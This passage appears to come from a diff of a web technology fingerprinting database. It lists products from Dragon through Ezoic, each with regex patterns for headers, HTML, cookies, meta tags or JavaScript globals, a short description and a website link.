"html": [ - "\u003c!--[^\u003e]*hfcm\\sby\\s99\\srobots" - ], - "description": "Header Footer Code Manager by Draftpress is a easy interface to add snippets to the header or footer or above or below the content of your page.", - "website": "https://draftpress.com/products/header-footer-code-manager-pro/" - }, - "Dragon": { - "headers": { - "x-powered-by": "dragon native ([\\d.]+)\\;version:\\1" - }, - "implies": [ - "Apache HTTP Server" - ], - "description": "Dragon is a general-purpose programming language.", - "website": "https://dragon-lang.org" - }, - "Drapr": { - "js": [ - "drapr_data", - "drapr_deferloading" - ], - "description": "Drapr is an ecommerce startup and online application based on technology that enables customers to quickly create 3D avatars and virtually try on clothing.", - "website": "https://www.drapr.com" - }, - "DreamApply": { - "implies": [ - "Linkedin Sign-in", - "Facebook Login", - "Google Sign-in" - ], - "description": "DreamApply is a specialised student application management system designed with and for education institutions.", - "website": "https://dreamapply.com" - }, - "DreamHost": { - "description": "DreamHost is a Los Angeles-based web hosting provider and domain name registrar.", - "website": "https://www.dreamhost.com" - }, - "DreamWeaver": { - "js": [ - "mm_showmenu", - "mm_preloadimages", - "mm_showhidelayers" - ], - "html": [ - "\u003c!--[^\u003e]*(?:instancebegineditable|dreamweaver([^\u003e]+)target|dwlayoutdefaulttable)\\;version:\\1", - "\u003c!-- #begintemplate\\s\"[\\d_\\w/]+\\.dwt" - ], - "description": "Dreamweaver is a development tool for creating, publishing, and managing websites and mobile content.", - "website": "https://www.adobe.com/products/dreamweaver.html" - }, - "Dreamdata": { - "js": [ - "biztrackinga", - "bizible" - ], - "description": "Dreamdata is a B2B revenue attribution platform.", - "website": "https://dreamdata.io" - }, - "Drift": { - "js": [ - "driftt", - "drift" - ], - "description": "Drift is a conversational marketing platform.", - "website": "https://www.drift.com/" - }, - "Drip": { - "description": "Drip is a marketing automation platform built for ecommerce.", - "website": "https://www.drip.com" - }, - "Drop A Hint": { - "js": [ - "dropahint.baseurl", - "dropahinttypeproduct" - ], - "description": "Drop A Hint is an Shopify app which help share hints via email, SMS, WhatsApp and messengers.", - "website": "https://apps.shopify.com/drop-a-hint-v2" - }, - "DropInBlog": { - "description": "DropInBlog is a remotely hosted, cloud based platform that is designed to embed a blog into your html site.", - "website": "https://dropinblog.com" - }, - "Dropbox": { - "website": "https://www.dropbox.com" - }, - "Dropzone": { - "js": [ - "dropzone", - "dropzone.version" - ], - "description": "Dropzone is a JavaScript library that turns any HTML element into a dropzone.", - "website": "https://www.dropzone.dev" - }, - "Droxit": { - "cookies": { - "droxit_a11y_state": "" - }, - "description": "Droxit is an automated web accessibility solution.", - "website": "https://www.droxit.com" - }, - "Droz Bot": { - "description": "Droz Bot is a multi-channel, customisable chatbot designed to help brands provide customer service across commonly used social apps.", - "website": "https://meudroz.com/droz-bot/" - }, - "Drupal": { - "js": [ - "drupal" - ], - "headers": { - "expires": "19 nov 1978", - "x-drupal-cache": "", - "x-generator": "^drupal(?:\\s([\\d.]+))?\\;version:\\1" - }, - "html": [ - "\u003c(?:link|style)[^\u003e]+\"/sites/(?:default|all)/(?:themes|modules)/" - ], - "meta": { - "generator": [ - "^drupal(?:\\s([\\d.]+))?\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "description": "Drupal is a free and open-source web content management framework.", - "website": "https://www.drupal.org/" - }, - "Drupal Commerce": { - "html": [ - "\u003c[^\u003e]+(?:id=\"block[_-]commerce[_-]cart[_-]cart|class=\"commerce[_-]product[_-]field)" - ], - "implies": [ - "Drupal" - ], - "description": "Drupal Commerce is open-source ecommerce software that augments the content management system Drupal.", - "website": "http://drupalcommerce.org" - }, - "Drupal Multisite": { - "implies": [ - "Drupal" - ], - "description": "Drupal Multisite enables separate, independent sites to be served from a single codebase.", - "website": "https://www.drupal.org/docs/multisite-drupal" - }, - "Duda": { - "js": [ - "systemid", - "d_version" - ], - "description": "Duda is a web design platform for companies that offer web design services.", - "website": "https://www.duda.co/website-builder" - }, - "Duel": { - "cookies": { - "_duelcsrf": "" - }, - "js": [ - "duel.apiurl" - ], - "implies": [ - "Node.js", - "Angular", - "MongoDB" - ], - "description": "Duel is a customer advocacy marketing platform.", - "website": "https://www.duel.tech" - }, - "Dukaan": { - "meta": { - "apple-mobile-web-app-title": [ - "^mydukaan$" - ] - }, - "description": "Dukaan is a hosted ecommerce solution made in India.", - "website": "https://mydukaan.io" - }, - "Duopana": { - "description": "Duopana is a platform for creating online communities, blogs and managing collaborative content.", - "website": "https://duopana.com" - }, - "Dynamic Yield": { - "cookies": { - "_dy_geo": "", - "_dy_ses_load_seq": "" - }, - "js": [ - "dy.addetection", - "dyexps.sectionconfig", - "_dy_memstore" - ], - "description": "Dynamic Yield is a provider of automated conversion optimisation tools for marketers and retailers.", - "website": "https://www.dynamicyield.com" - }, - "Dynamicweb": { - "cookies": { - "dynamicweb": "" - }, - "meta": { - "generator": [ - "dynamicweb ([\\d.]+)\\;version:\\1" - ] - }, - "implies": [ - "Microsoft ASP.NET" - ], - "description": "Dynamicweb is a all-in-one platform for content management, ecommerce, digital marketing​, product information management (PIM) and integration.", - "website": "http://www.dynamicweb.dk" - }, - "Dynatrace": { - "cookies": { - "dtcookie1": "" - }, - "js": [ - "dtrum" - ], - "description": "Dynatrace is a technology company that produces a software intelligence platform based on artificial intelligence to monitor and optimise application performance and development, IT infrastructure, and user experience for businesses and government agencies throughout the world.", - "website": "https://www.dynatrace.com" - }, - "Dynatrace RUM": { - "implies": [ - "Dynatrace" - ], - "description": "Dynatrace RUM is a AI powered, full stack, automated real user monutoring platform built by Dynatrace.", - "website": "https://www.dynatrace.com/platform/real-user-monitoring" - }, - "Dyte": { - "js": [ - "triggerdyterecording" - ], - "css": [ - "\\.dyte-client-selfVideo" - ], - "implies": [ - "WebRTC" - ], - "description": "Dyte is a developer-friendly, real-time audio and video communication software development kit (SDK).", - "website": "https://dyte.io" - }, - "E-monsite": { - "meta": { - "generator": [ - "^e-monsite\\s\\(e-monsite\\.com\\)$" - ] - }, - "implies": [ - "Symfony", - "MySQL" - ], - "description": "E-monsite is a web-based platform that allows users to create and customise their own websites using a range of templates and features, without requiring coding or technical skills.", - "website": "https://www.e-monsite.com" - }, - "EC-CUBE": { - "implies": [ - "PHP" - ], - "description": "EC-CUBE is an open source package used to build ecommerce sites.", - "website": "http://www.ec-cube.net" - }, - "ECharts": { - "description": "ECharts is an open-source JavaScript visualisation library.", - "website": "https://echarts.apache.org/" - }, - "EKM": { - "cookies": { - "ekmpowershop": "" - }, - "js": [ - "_ekmpinpoint" - ], - "description": "EKM is an all-in-one online store builder, with the company based in the UK.", - "website": "https://www.ekm.com" - }, - "ELOG": { - "html": [ - "\u003ctitle\u003eelog logbook selection\u003c/title\u003e" - ], - "website": "http://midas.psi.ch/elog" - }, - "ELOG HTTP": { - "headers": { - "server": "elog http ?([\\d.-]+)?\\;version:\\1" - }, - "implies": [ - "ELOG" - ], - "website": "http://midas.psi.ch/elog" - }, - "EPrints": { - "js": [ - "epjs_menu_template", - "eprints" - ], - "meta": { - "generator": [ - "eprints ([\\d.]+)\\;version:\\1" - ] - }, - "implies": [ - "Perl" - ], - "website": "http://www.eprints.org" - }, - "ERPNext": { - "js": [ - "erpnext.shopping_cart", - "erpnext.subscribe_to_newsletter" - ], - "implies": [ - "Frappe" - ], - "description": "ERPNext is a free and open-source integrated Enterprise Resource Planning (ERP) software developed by Frappe Technologies.", - "website": "https://erpnext.com" - }, - "ESW": { - "js": [ - "eshopworld", - "eswretailerdisplayconfiguration" - ], - "description": "ESW (eShopWorld) is a company providing payments, shipping, and delivery services focusing on cross-border ecommerce.", - "website": "http://esw.com" - }, - "EWWW Image Optimizer": { - "js": [ - "ewww_webp_supported" - ], - "description": "EWWW Image Optimizer is an image optimisation WordPress plugin designed to improve the performance of your website.", - "website": "https://github.com/nosilver4u/ewww-image-optimizer" - }, - "EX.CO": { - "js": [ - "__exco", - "__exco_integration_type", - "excopixelurl" - ], - "description": "EX.CO (formerly Playbuzz) is an online publishing platform for publishers, brand agencies, and individual content creators to create content in interactive formats such as polls, quizzes, lists, video snippets, slideshows, and countdowns.", - "website": "https://ex.co" - }, - "EZproxy": { - "headers": { - "server": "^ezproxy$" - }, - "description": "EZproxy is a web server and a reverse proxy that is usually used by libraries as a reverse proxy in front of electronic educational resources databases (e.g.: Scopus, PubMed, or Web of Science) in order to provide authentication and protect privacy.", - "website": "https://www.oclc.org/en/ezproxy.html" - }, - "Easy Hide PayPal": { - "implies": [ - "Shopify" - ], - "description": "Easy Hide PayPal hides PayPal button from product page, cart and checkout but keep PayPal as payment option in checkout.", - "website": "https://apps.shopify.com/easyhide" - }, - "Easy Orders": { - "implies": [ - "PostgreSQL", - "Go", - "Node.js" - ], - "description": "Easy Orders is an ecommerce platform that offers a pricing plan where users can create their online store and pay a fee of 0.5 EGP per order.", - "website": "https://www.easy-orders.net" - }, - "Easy Redirects": { - "implies": [ - "Shopify" - ], - "description": "Easy Redirects is a Shopify app built by Eastside, and part of the best Shopify Apps collection.", - "website": "https://apps.shopify.com/easyredirects" - }, - "EasyDigitalDownloads": { - "meta": { - "generator": [ - "^easy digital downloads v(.*)$\\;version:\\1" - ] - }, - "description": "Easy Digital Downloads is a WordPress ecommerce plugin that focuses purely on digital products.", - "website": "https://easydigitaldownloads.com" - }, - "EasyEngine": { - "headers": { - "x-powered-by": "^easyengine (.*)$\\;version:\\1" - }, - "implies": [ - "Docker" - ], - "description": "EasyEngine is a command-line tool for the Nginx web servers to manage WordPress sites that are running on the LEMP Stack.", - "website": "https://easyengine.io" - }, - "EasyStore": { - "js": [ - "easystore" - ], - "description": "EasyStore is a multi sales channel ecommerce platform.", - "website": "https://www.easystore.co" - }, - "Easylog": { - "description": "EasyLog is a logistics company based in Brazil.", - "website": "http://www.easylog.com.br" - }, - "Ebasnet": { - "meta": { - "author": [ - "^ebasnet web solutions$" - ] - }, - "implies": [ - "PHP", - "MySQL", - "Varnish", - "Symfony" - ], - "description": "Ebasnet is a web project creation and management platform in the cloud. It allows anyone to set up an online store or corporate website without prior IT knowledge.", - "website": "https://ebasnet.com" - }, - "EcForce": { - "js": [ - "ecforce.models", - "ecforce.models.shop" - ], - "implies": [ - "Ruby", - "Ruby on Rails", - "Nginx" - ], - "description": "EcForce is an all-in-one ecommerce platform with all the functions necessary for ecommerce, from landing-page creation to order and customer data management analysis.", - "website": "https://ec-force.com" - }, - "Ecovium": { - "description": "Ecovium is an end-to-end logistics company in Germany.", - "website": "https://ecovium.com" - }, - "Ecwid": { - "js": [ - "ecwidcart", - "ecwid" - ], - "description": "Ecwid is a shopping cart plugin that turns any existing website into an online store.", - "website": "https://www.ecwid.com/" - }, - "EdgeCast": { - "headers": { - "server": "^ecd\\s\\(\\s+\\)" - }, - "description": "EdgeCast is a content delivery network (CDN) that accelerated and delivers static content to users around the world.", - "website": "http://www.edgecast.com" - }, - "Edgio": { - "cookies": { - "layer0_bucket": "", - "layer0_destination": "", - "layer0_eid": "" - }, - "js": [ - "layer0.metrics" - ], - "headers": { - "x-0-status": "", - "x-0-t": "", - "x-0-version": "^\\d+ ([\\d.]+) \\;version:\\1" - }, - "description": "Edgio is an integrated suite of Edge services, from Delivery to Compute.", - "website": "https://edg.io" - }, - "Editor.js": { - "js": [ - "editorjs" - ], - "description": "Editor.js is a Javascript library which allows developers to implement a block base text editor with plugins on their page.", - "website": "https://editorjs.io" - }, - "Efilli": { - "js": [ - "efilli_global_options", - "efilli", - "efilli.__cookieblocker" - ], - "description": "Efilli is a tool used to manage cookies on websites, providing users with data privacy control through GDPR compliance.", - "website": "https://efilli.com" - }, - "Eggplant": { - "headers": { - "content-security-policy": "\\.eggplant\\.cloud" - }, - "description": "Eggplant is a software testing and monitoring company.", - "website": "https://www.eggplantsoftware.com" - }, - "Ektron CMS": { - "js": [ - "ektron" - ], - "implies": [ - "Microsoft ASP.NET" - ], - "description": "Ektron CMS is developed on the Microsoft .NET framework and is 100% ASP.NET. In 2015 Ektron merged with EPiServer.", - "website": "https://www.optimizely.com/ektron-cms" - }, - "Elastic APM": { - "js": [ - "elasticapm" - ], - "implies": [ - "Elasticsearch" - ], - "description": "Elastic APM offers free and open application performance monitoring.", - "website": "https://www.elastic.co/apm" - }, - "ElasticPress": { - "headers": { - "x-elasticpress-query": "" - }, - "implies": [ - "Elasticsearch" - ], - "description": "ElasticPress is a hosting service that connects your WordPress site to search hosting.", - "website": "https://www.elasticpress.io/" - }, - "ElasticSuite": { - "cookies": { - "stuid": "\\;confidence:50", - "stvid": "\\;confidence:50" - }, - "js": [ - "smiletracker" - ], - "implies": [ - "PHP", - "Elasticsearch" - ], - "description": "ElasticSuite is a merchandising suite for Magento and OroCommerce.", - "website": "https://elasticsuite.io" - }, - "Elasticsearch": { - "description": "Elasticsearch is a search engine based on the Lucene library. It provides a distributed, multitenant-capable full-text search engine with an HTTP web interface and schema-free JSON documents.", - "website": "https://www.elastic.co" - }, - "Elcodi": { - "headers": { - "x-elcodi": "" - }, - "implies": [ - "PHP", - "Symfony" - ], - "website": "http://elcodi.io" - }, - "Elcom": { - "meta": { - "generator": [ - "^elcomcms" - ] - }, - "implies": [ - "Microsoft ASP.NET" - ], - "description": "The Elcom Platform is a web content management and intranet portal software written in Microsoft ASP.NET and SQL Server by Elcom Technology.", - "website": "https://www.elcom.com.au/" - }, - "Eleanor CMS": { - "meta": { - "generator": [ - "eleanor" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://eleanor-cms.ru" - }, - "Element": { - "meta": { - "application-name": [ - "^element$" - ] - }, - "description": "Element is a Matrix-based end-to-end encrypted messenger and secure collaboration app.", - "website": "https://element.io" - }, - "Element UI": { - "html": [ - "\u003c(?:div|button) class=\"el-(?:table-column|table-filter|popper|pagination|pager|select-group|form|form-item|color-predefine|color-hue-slider|color-svpanel|color-alpha-slider|color-dropdown|color-picker|badge|tree|tree-node|select|message|dialog|checkbox|checkbox-button|checkbox-group|container|steps|carousel|menu|menu-item|submenu|menu-item-group|button|button-group|card|table|select-dropdown|row|tabs|notification|radio|progress|progress-bar|tag|popover|tooltip|cascader|cascader-menus|cascader-menu|time-spinner|spinner|spinner-inner|transfer|transfer-panel|rate|slider|dropdown|dropdown-menu|textarea|input|input-group|popup-parent|radio-group|main|breadcrumb|time-range-picker|date-range-picker|year-table|date-editor|range-editor|time-spinner|date-picker|time-panel|date-table|month-table|picker-panel|collapse|collapse-item|alert|select-dropdown|select-dropdown__empty|select-dropdown__wrap|select-dropdown__list|scrollbar|switch|carousel|upload|upload-dragger|upload-list|upload-cover|aside|input-number|header|message-box|footer|radio-button|step|autocomplete|autocomplete-suggestion|loading-parent|loading-mask|loading-spinner|)" - ], - "implies": [ - "Vue.js" - ], - "website": "https://element.eleme.io/" - }, - "Elementor": { - "js": [ - "elementorfrontend.getelements", - "elementorfrontendconfig.version" - ], - "meta": { - "generator": [ - "^elementor\\s([\\d\\.]+)\\;version:\\1" - ] - }, - "description": "Elementor is a website builder platform for professionals on WordPress.", - "website": "https://elementor.com" - }, - "Elementor Cloud": { - "headers": { - "x-powered-by": "elementor cloud" - }, - "implies": [ - "WordPress", - "Elementor" - ], - "description": "Elementor Cloud is a platform for creating and hosting WordPress websites with Elementor.", - "website": "https://elementor.com" - }, - "Elementor Header \u0026 Footer Builder": { - "implies": [ - "Elementor" - ], - "description": "Elementor Header \u0026 Footer Builder is a simple yet powerful WordPress plugin that allows you to create a layout with Elementor and set it as.", - "website": "https://github.com/brainstormforce/header-footer-elementor" - }, - "ElementsKit": { - "js": [ - "elementskit_helper", - "elementskit" - ], - "description": "ElementsKit is an addon for Elementor that adds additional customisation options to the page builder.", - "website": "https://wpmet.com/plugin/elementskit" - }, - "Elevar": { - "js": [ - "elevargtmsuite", - "elevar_gtm_errors", - "webpackchunkelevar_gtm_suite_scripts" - ], - "description": "Elevar is an official Shopify Plus Partner data collection and marketing monitoring tool.", - "website": "https://www.getelevar.com" - }, - "Eleventy": { - "meta": { - "generator": [ - "^eleventy\\sv([\\d\\.]+)$\\;version:\\1" - ] - }, - "description": "Eleventy (11ty) a simpler static site generator.", - "website": "https://www.11ty.dev" - }, - "Elfsight": { - "description": "Elfsight is an all-in-one platform offering 70+ customisable widgets for websites.", - "website": "https://elfsight.com" - }, - "Elixir": { - "implies": [ - "Erlang" - ], - "description": "Elixir is a dynamic, functional language designed for building scalable and maintainable applications.", - "website": "https://elixir-lang.org" - }, - "Ellucian CRM Recruit": { - "js": [ - "ellucian.recruit", - "ellucianaddresschooselabel" - ], - "description": "Ellucian CRM Recruit is a comprehensive solution that supports your entire recruiting and admissions lifecycle.", - "website": "https://www.ellucian.com/solutions/ellucian-crm-recruit" - }, - "Elm": { - "js": [ - "elm.main.embed", - "elm.main.init" - ], - "description": "Elm is a statically typed functional programming language created by Evan Czaplicki in 2012 for building web applications.", - "website": "https://elm-lang.org/" - }, - "Elm-ui": { - "html": [ - "\u003cstyle\u003e[\\s\\s]*\\.explain \u003e \\.s[\\s\\s]*\\.explain \u003e \\.ctr \u003e \\.s" - ], - "implies": [ - "Elm" - ], - "description": "Elm-UI is a library for creating user interfaces in Elm programming language. It provides a set of functions and abstractions for building responsive and reusable UI components, such as buttons, forms, and layouts, in a declarative and type-safe way.", - "website": "https://github.com/mdgriffith/elm-ui" - }, - "Eloomi": { - "description": "Eloomi is a cloud-based learning management system (LMS) and performance management platform.", - "website": "https://eloomi.com" - }, - "Eloqua": { - "cookies": { - "eloqua": "" - }, - "js": [ - "_elq", - "_elqq", - "elqcookievalue", - "elqload", - "elq_global", - "eloqcontactdata", - "eloquaactionsettings", - "elqcuresite", - "elqsiteid" - ], - "description": "Eloqua is a Software-as-a-Service (SaaS) platform for marketing automation offered that aims to help B2B marketers and organisations manage marketing campaigns and sales lead generation.", - "website": "http://eloqua.com" - }, - "EmailJS": { - "js": [ - "emailjs.sendform" - ], - "description": "EmailJS is a cloud-based email delivery service that allows you to send emails directly from your client-side JavaScript code without the need for a server-side implementation.", - "website": "https://www.emailjs.com" - }, - "Emarsys": { - "js": [ - "scarabqueue", - "scarab" - ], - "description": "Emarsys is a cloud-based B2C marketing platform.", - "website": "https://emarsys.com/" - }, - "Ematic Solutions": { - "js": [ - "ematicsobject", - "ematicapikey", - "ematics", - "ematicssubscribe" - ], - "description": "Ematic Solutions is part of Ematic Group and started to revolve around transforming email marketing into an ROI machine.", - "website": "https://www.ematicsolutions.com" - }, - "EmbedPlus": { - "description": "EmbedPlus is a WordPress plugin for YouTube allows you to embed gallery, channel, playlist, or even live stream on your webpage.", - "website": "https://www.embedplus.com" - }, - "EmbedSocial": { - "js": [ - "embedsocialhashtag", - "embedsocialiframelightbox" - ], - "description": "EmbedSocial is a social media management platform.", - "website": "https://embedsocial.com" - }, - "EmbedThis Appweb": { - "headers": { - "server": "mbedthis-appweb(?:/([\\d.]+))?\\;version:\\1" - }, - "website": "http://embedthis.com/appweb" - }, - "Embedly": { - "js": [ - "embedly" - ], - "description": "Embedly is a service that allows developers to convert URLs into rich previews and embeddable content.", - "website": "https://embed.ly" - }, - "Ember.js": { - "js": [ - "ember", - "ember.version", - "emberenv" - ], - "website": "http://emberjs.com" - }, - "Emotion": { - "description": "Emotion is a library designed for writing CSS styles with JavaScript.", - "website": "http://emotion.sh" - }, - "Emotive": { - "js": [ - "emotivepopupinitializing" - ], - "description": "Emotive is a computer software company that provides SaaS, Mobile Marketing, NLP, machine learning, and B2B.", - "website": "https://emotive.io" - }, - "Empretienda": { - "headers": { - "set-cookie": "^empretienda_session" - }, - "description": "Empretienda is a platform that allows you to create and manage your own online store.", - "website": "https://www.empretienda.com" - }, - "Enable": { - "js": [ - "enable_toolbar.is_premium" - ], - "description": "Enable is a web accessibility plugin by uPress.", - "website": "https://www.enable.co.il" - }, - "Endurance Page Cache": { - "headers": { - "x-endurance-cache-level": "" - }, - "description": "Endurance Page Cache adds basic file-based caching to WordPress.", - "website": "https://github.com/bluehost/endurance-page-cache" - }, - "Engagio": { - "website": "https://www.engagio.com/" - }, - "Engintron": { - "headers": { - "x-server-powered-by": "^engintron$" - }, - "description": "Engintron is a plugin that integrates Nginx to cPanel/WHM server.", - "website": "https://github.com/engintron/engintron" - }, - "Enigma": { - "description": "Enigma is the popular superfine multipurpose responsive WordPress theme from Infigo Software.", - "website": "https://wordpress.org/themes/enigma" - }, - "Enjin CMS": { - "js": [ - "enjin_core_storage_cache", - "enjin_ui" - ], - "description": "Enjin CMS is a content management system which focused creation of websites for gaming guilds, clans, Minecraft servers, or fan communities.", - "website": "https://www.enjin.com" - }, - "Enlistly": { - "implies": [ - "Shopify" - ], - "description": "Enlistly tracks referral orders in realtime. Orders that are partially refunded, refunded, or cancelled update on the fly.", - "website": "https://enlistly.com" - }, - "Ensi": { - "headers": { - "x-ensi-platform": "" - }, - "meta": { - "generator": [ - "ensi platform" - ] - }, - "description": "Ensi is an open source ecommerce platform based on service oriented architecture.", - "website": "https://ensi.tech" - }, - "Ensighten": { - "description": "Ensighten is a solution that enables secure management, implementation and control of website technologies.", - "website": "https://success.ensighten.com/hc/en-us" - }, - "Envialia": { - "website": "https://www.envialia.com" - }, - "Envo Shop": { - "description": "Envo Shop is a fast, clean and modern-looking responsive free WooCommerce WordPress theme by Envo Themes.", - "website": "https://envothemes.com/free-envo-shop" - }, - "Envo Storefront": { - "description": "Envo Storefront is a fast, clean and modern-looking responsive WooCommerce theme for WordPress.", - "website": "https://envothemes.com/free-envo-storefront" - }, - "Envo eCommerce": { - "description": "Envo eCommerce is a fast, clean and modern-looking responsive free WooCommerce theme for WordPress.", - "website": "https://envothemes.com/free-envo-ecommerce/" - }, - "Envoy": { - "headers": { - "server": "^envoy$", - "x-envoy-upstream-service-time": "" - }, - "description": "Envoy is an open-source edge and service proxy, designed for cloud-native applications.", - "website": "https://www.envoyproxy.io/" - }, - "Envybox": { - "js": [ - "envywidget" - ], - "description": "Envybox is a multiservice for increasing sales.", - "website": "https://envybox.io" - }, - "Enyo": { - "js": [ - "enyo" - ], - "description": "Enyo is an open-source JavaScript framework for cross-platform for mobile, desktop, TV and web applications.", - "website": "http://enyojs.com" - }, - "Epoch": { - "html": [ - "\u003clink[^\u003e]+?href=\"[^\"]+epoch(?:\\.min)?\\.css" - ], - "implies": [ - "D3" - ], - "website": "https://fastly.github.io/epoch" - }, - "Epom": { - "js": [ - "epomcustomparams" - ], - "website": "http://epom.com" - }, - "EqualWeb": { - "description": "EqualWeb provides a web accessibility overlay, and helps some people with disabilities access digital information.", - "website": "https://www.equalweb.com/" - }, - "EraofEcom Cartroids": { - "js": [ - "cartroids.appbase" - ], - "implies": [ - "Shopify" - ], - "description": "EraofEcom Cartroids makes it easy for you to create highly targeted upsells, cross-sells and bundle offers.", - "website": "https://eraofecom.org/collections/tech/products/cartroids" - }, - "EraofEcom MTL": { - "implies": [ - "Shopify" - ], - "description": "EraofEcom MTL is a Shopify pop up app that enables you to catch your website visitors.", - "website": "https://eraofecom.org/collections/tech/products/milk-the-leads" - }, - "EraofEcom WinAds": { - "js": [ - "win_ads.baseurl" - ], - "implies": [ - "Shopify" - ], - "description": "EraofEcom WinAds is an all-in-one Facebook pixel app for Shopify.", - "website": "https://eraofecom.org/collections/tech/products/win-ads-manager" - }, - "Erlang": { - "headers": { - "server": "erlang( otp/(?:[\\d.abr-]+))?\\;version:\\1" - }, - "description": "Erlang is a general-purpose, concurrent, functional programming language, and a garbage-collected runtime system.", - "website": "http://www.erlang.org" - }, - "Errorception": { - "js": [ - "_errs" - ], - "description": "Errorception is a error reporting service for client-side in-browser JavaScript errors.", - "website": "https://errorception.com" - }, - "Essent SiteBuilder Pro": { - "meta": { - "generator": [ - "^essent® sitebuilder pro$" - ] - }, - "description": "Essent SiteBuilder Pro is a fully-integrated web-based website design system, content management and ecommerce system.", - "website": "https://www.essent.com/SiteBuilderPro.html" - }, - "Essential Addons for Elementor": { - "description": "Essential Addons for Elementor gives you 70+ creative elements and extensions to help you extend the stock features of Elementor page builder.", - "website": "https://essential-addons.com/elementor/" - }, - "Essential JS 2": { - "html": [ - "\u003c[^\u003e]+ class ?= ?\"(?:e-control|[^\"]+ e-control)(?: )[^\"]* e-lib\\b" - ], - "website": "https://www.syncfusion.com/javascript-ui-controls" - }, - "Estore Compare": { - "description": "Estore Compare is a website optimisation software that offers A/B testing, CVR and LTV measuring tools.", - "website": "https://estore.co.jp/estorecompare/" - }, - "Estore Shopserve": { - "description": "Estore Shopserve is an all-in-one payment processing and ecommerce solution.", - "website": "https://estore.co.jp/shopserve" - }, - "Etherpad": { - "js": [ - "padeditbar", - "padimpexp" - ], - "headers": { - "server": "^etherpad" - }, - "implies": [ - "Node.js" - ], - "description": "Etherpad is an open-source, web-based collaborative real-time editor, allowing authors to simultaneously edit a text document, and see all of the participants' edits in real-time, with the ability to display each author's text in their own colour.", - "website": "https://etherpad.org" - }, - "Ethers": { - "js": [ - "_ethers" - ], - "description": "Ethers is a complete, tiny and simple Ethereum library.", - "website": "https://ethers.org/" - }, - "EthicalAds": { - "description": "EthicalAds is a privacy-preserving ad network targeting developers.", - "website": "https://www.ethicalads.io/" - }, - "Eticex": { - "implies": [ - "MySQL", - "React", - "PHP" - ], - "description": "Eticex is as an ecommerce infrastructure provider that offers ecommerce packages and customisable high-performance ecommerce solutions.", - "website": "https://www.eticex.com" - }, - "Etix": { - "js": [ - "etix.javacontext" - ], - "description": "Etix is an international web-based ticketing service provider for the entertainment, travel, and sports industries.", - "website": "https://hello.etix.com" - }, - "Etracker": { - "js": [ - "_etracker" - ], - "description": "Etracker is a web optimisation solution.", - "website": "https://www.etracker.com" - }, - "EventOn": { - "description": "EventON is event calendar for WordPress.", - "website": "https://www.myeventon.com" - }, - "Everflow": { - "description": "Everflow is a partner marketing analytics platform.", - "website": "https://www.everflow.io" - }, - "EveryAction": { - "description": "EveryAction provides fundraising software, donor management software, and CRM software to nonprofit organisations.", - "website": "https://www.everyaction.com" - }, - "Eveve": { - "html": [ - "\u003ciframe[^\u003e]*[\\w]+\\.eveve\\.com" - ], - "implies": [ - "PHP" - ], - "description": "Eveve is a restaurant table booking widget.", - "website": "https://www.eveve.com" - }, - "Evidon": { - "js": [ - "evidon", - "eb.evidonconsent" - ], - "description": "Evidon is a transparency company that helps organizations educate consumers on how and why data is collected, as well as provide consumers with the ability to give and withdraw consent to their data being used.", - "website": "https://www.evidon.com" - }, - "ExactMetrics": { - "js": [ - "exactmetrics", - "exactmetrics_frontend" - ], - "description": "ExactMetrics (formerly Google Analytics Dashboard for WP) plugin helps you properly setup all the powerful Google Analytics tracking features without writing any code or hiring a developer.", - "website": "https://www.exactmetrics.com" - }, - "Exemptify": { - "js": [ - "exemptifytriggerupdate", - "m4u_ex_vat_postfix_txt" - ], - "implies": [ - "Shopify" - ], - "description": "Exemptify allows you to conduct proper EU B2B transactions by validating EU VAT IDs.", - "website": "http://modules4u.biz/exemptify" - }, - "Exhibit": { - "js": [ - "exhibit", - "exhibit.version" - ], - "website": "http://simile-widgets.org/exhibit/" - }, - "ExitIntel": { - "js": [ - "exitintelconfig", - "exitintel.version", - "exitintelaccount" - ], - "description": "ExitIntel is a full service conversion optimisation agency that focuses on ecommerce companies.", - "website": "https://exitintelligence.com" - }, - "ExoClick": { - "meta": { - "exoclick-site-verification": [] - }, - "description": "ExoClick is a Barcelona-based online advertising company, which provides online advertising services to both advertisers and publishers.", - "website": "https://www.exoclick.com" - }, - "ExpertRec": { - "js": [ - "_er_config" - ], - "description": "ExpertRec is a collaborative Web search engine, which allows users share search histories through a web browser.", - "website": "https://www.expertrec.com/" - }, - "Expivi": { - "js": [ - "expivicomponent", - "expivi" - ], - "description": "Expivi specialises in 3D visualisation technology for ecommerce stores.", - "website": "https://www.expivi.com" - }, - "Exponea": { - "js": [ - "exponea.version" - ], - "description": "Exponea is a cloud-based marketing analysis platform suitable for large and midsize organisations in a variety of industries.", - "website": "https://go.exponea.com" - }, - "Express": { - "headers": { - "x-powered-by": "^express(?:$|,)" - }, - "implies": [ - "Node.js" - ], - "description": "Express is a web application framework for Node.js, released as free and open-source software under the MIT License. It is designed for building web applications and APIs.", - "website": "http://expressjs.com" - }, - "ExpressionEngine": { - "cookies": { - "exp_csrf_token": "", - "exp_last_activity": "", - "exp_tracker": "" - }, - "implies": [ - "PHP" - ], - "description": "ExpressionEngine is a free and open-source CMS.", - "website": "https://expressionengine.com/" - }, - "ExtJS": { - "js": [ - "ext", - "ext.version", - "ext.versions.extjs.version" - ], - "website": "https://www.sencha.com" - }, - "ExtendThemes Calliope": { - "description": "ExtendThemes Calliope is an flexible, multipurpose WordPress child theme of Colibri WP.", - "website": "https://wordpress.org/themes/calliope" - }, - "ExtendThemes EmpowerWP": { - "description": "ExtendThemes EmpowerWP is an flexible, multipurpose WordPress theme.", - "website": "https://extendthemes.com/empowerwp" - }, - "ExtendThemes Highlight": { - "description": "ExtendThemes Highlight is an flexible, multipurpose WordPress theme.", - "website": "https://extendthemes.com/highlight" - }, - "ExtendThemes Materialis": { - "js": [ - "materialistheme", - "materialissetheadertopspacing", - "materialis_theme_pro_settings" - ], - "description": "ExtendThemes Materialis is an flexible, multipurpose WordPress theme.", - "website": "https://extendthemes.com/materialis" - }, - "ExtendThemes Mesmerize": { - "js": [ - "mesmerizemenusticky", - "mesmerizekube", - "mesmerizedomready", - "mesmerizefooterparalax" - ], - "description": "ExtendThemes Mesmerize is an flexible, multipurpose WordPress theme.", - "website": "https://extendthemes.com/mesmerize" - }, - "Extole": { - "js": [ - "extole.version" - ], - "description": "Extole is an online marketing platform that enables brands and businesses to get new customers through loyalty and referral programs.", - "website": "https://www.extole.com" - }, - "Ezoic": { - "js": [ - "ezoicbanger", - 